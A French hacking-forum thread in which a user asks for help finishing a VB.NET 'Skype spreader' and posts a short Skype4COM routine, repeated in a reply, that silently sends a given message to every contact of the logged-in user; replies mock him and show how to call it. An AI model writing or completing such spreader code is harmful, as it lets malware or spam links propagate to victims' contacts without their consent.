[VB.NET]Aide skype spreader

    Publicités

Users Who Are Viewing This Thread (Total: 1, Members: 0, Guests: 1)

Status
Not open for further replies.
Salut a tous vu que j'ai trouver comment faire pour le "cloud Flare Ip resolver" je m'attaque donc a un Skype spreader voila ce que m'on pote ma donner comme code mais il a du oublier du code.


Code:
 Public Shared Sub skype(ByRef Message As String)
        On Error Resume Next
        Dim skype As Object
        skype = CreateObject("Skype4COM.skype", "")
        skype.client.start()
        skype.attach()
        For Each user In skype.friends
            skype.sendmessage(user.handle, Message)
        Next
    End Sub

Merci de m'aider

Bonne soirée a tous!
 

Cyrion

._.
V
Ancien staff
Jul 8, 2010
2,524
2
944
www.bufferoverflow.fr
Si tu veux devenir programmeur , faut apprendre à comprendre les codes et/ou à faire un peu de recherche.

Si tu as aucune idée et tu restes bloqué là devant un bout de code tout simple qu'il t'a donné, ça avanceras pas.
 

Evaelis

La Voix de la Sagesse
V
Ancien staff
Apr 28, 2010
22,949
468
1,699
Valhalla
Tu le fait exprès ton pote t'a filé du tout cuit :
Public Shared Sub skype(ByRef Message As String)
On Error Resume Next
Dim skype As Object
skype = CreateObject("Skype4COM.skype", "")
skype.client.start()
skype.attach()
For Each user In skype.friends
skype.sendmessage(user.handle, Message)
Next
End Sub
Tu as juste à faire
Skype("Message à envoyer") et ça l'envoie à tous le monde, dit pas que TU as réussi à faire qqc car c'est pas vrai U_u
 

ced5959

Membre
Aug 23, 2011
15
0
301
dim message as new string = textbox1.text
skype.sendmessage(user.handle, Message)
...... Un gros limer ce mec bonne continuation
 
Status
Not open for further replies.